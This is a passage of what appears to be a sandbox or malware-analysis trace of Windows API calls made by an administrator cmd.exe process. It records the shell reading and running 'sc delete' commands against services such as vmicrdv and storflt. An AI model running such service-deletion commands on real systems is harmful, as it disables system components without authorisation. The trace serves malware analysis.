(HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1c8980 [0063.508] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.508] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.509] GetProcessHeap () returned 0x1b0000 [0063.509] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0063.509] GetEnvironmentStringsW () returned 0x1cba10* [0063.509] GetProcessHeap () returned 0x1b0000 [0063.509] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1c8980 [0063.509] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.509] GetProcessHeap () returned 0x1b0000 [0063.509] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0063.509] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0063.509] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0063.509] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.509] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0063.510] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.510] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0063.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.510] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0063.510] GetConsoleOutputCP () returned 0x1b5 [0063.510] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.510] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.510] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9db0 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0063.511] GetProcessHeap () returned 0x1b0000 [0063.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0063.511] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0063.511] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.511] GetFileType (hFile=0x120) returned 0x3 [0063.511] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0063.511] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0063.511] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.512] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.512] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.512] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0063.512] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.512] GetFileType (hFile=0x120) returned 0x3 [0063.512] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0063.512] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0063.512] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.512] GetFileType (hFile=0xb8) returned 0x3 [0063.512] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.512] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.512] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.512] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicrdv\ntbeat\nface\n") returned 1 [0063.512] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.512] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.513] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicrdv\ntbeat\nface\n") returned 1 [0063.513] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.513] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.513] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicrdv\ntbeat\nface\n") returned 1 [0063.513] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.513] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.513] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmicrdv\ntbeat\nface\n") returned 1 [0063.513] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.513] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.513] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmicrdv\ntbeat\nface\n") returned 1 [0063.513] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.513] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.513] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.513] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicrdv\ntbeat\nface\n") returned 1 [0063.513] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.513] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.514] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicrdv\ntbeat\nface\n") returned 1 [0063.514] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.514] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.514] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmicrdv\ntbeat\nface\n") returned 1 [0063.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.531] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmicrdv\ntbeat\nface\n") returned 1 [0063.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmicrdv\ntbeat\nface\n") returned 1 [0063.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="smicrdv\ntbeat\nface\n") returned 1 [0063.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="ticrdv\ntbeat\nface\n") returned 1 [0063.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ocrdv\ntbeat\nface\n") returned 1 [0063.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="rrdv\ntbeat\nface\n") returned 1 [0063.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="fdv\ntbeat\nface\n") returned 1 [0063.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="lv\ntbeat\nface\n") returned 1 [0063.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="t\ntbeat\nface\n") returned 1 [0063.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="\ntbeat\nface\n") returned 1 [0063.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.533] GetFileType (hFile=0xb8) returned 0x3 [0063.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.534] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.534] GetFileType (hFile=0x120) returned 0x3 [0063.534] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete storflt\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete storflt\n", lpUsedDefaultChar=0x0) returned 19 [0063.534] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x12, lpOverlapped=0x0) returned 1 [0063.534] GetProcessHeap () returned 0x1b0000 [0063.534] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1cfb10 [0063.534] GetProcessHeap () returned 0x1b0000 [0063.534] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0063.534] GetProcessHeap () returned 0x1b0000 [0063.534] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0063.534] GetProcessHeap () returned 0x1b0000 [0063.534] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0063.535] GetProcessHeap () returned 0x1b0000 [0063.535] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6510 [0063.535] GetConsoleOutputCP () returned 0x1b5 [0063.535] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.535] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.535] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6550 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0063.536] SetErrorMode (uMode=0x0) returned 0x1 [0063.536] SetErrorMode (uMode=0x1) returned 0x0 [0063.536] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0063.536] SetErrorMode (uMode=0x1) returned 0x1 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0063.536] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.536] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c9db0 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0063.536] GetProcessHeap () returned 0x1b0000 [0063.536] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0063.537] GetProcessHeap () returned 0x1b0000 [0063.537] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0063.537] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.537] GetProcessHeap () returned 0x1b0000 [0063.537] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0063.537] GetProcessHeap () returned 0x1b0000 [0063.537] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0063.537] GetProcessHeap () returned 0x1b0000 [0063.537] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0063.537] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.537] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.537] GetLastError () returned 0x2 [0063.537] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.538] GetLastError () returned 0x2 [0063.538] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.538] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.538] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.538] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.538] GetLastError () returned 0x2 [0063.538] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.538] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.539] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0063.539] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0063.539] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.539] GetProcessHeap () returned 0x1b0000 [0063.539] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1cba90 [0063.539] GetConsoleTitleW (in: lpConsoleTitle=0x1cbaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.539] GetProcessHeap () returned 0x1b0000 [0063.539] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba90, Size=0x9c) returned 0x1cba90 [0063.539] GetProcessHeap () returned 0x1b0000 [0063.539] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba90) returned 0x9c [0063.539] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete storflt") returned 1 [0063.540] GetProcessHeap () returned 0x1b0000 [0063.540] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.540] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0063.540] UpdateProcThreadAttribute (in: 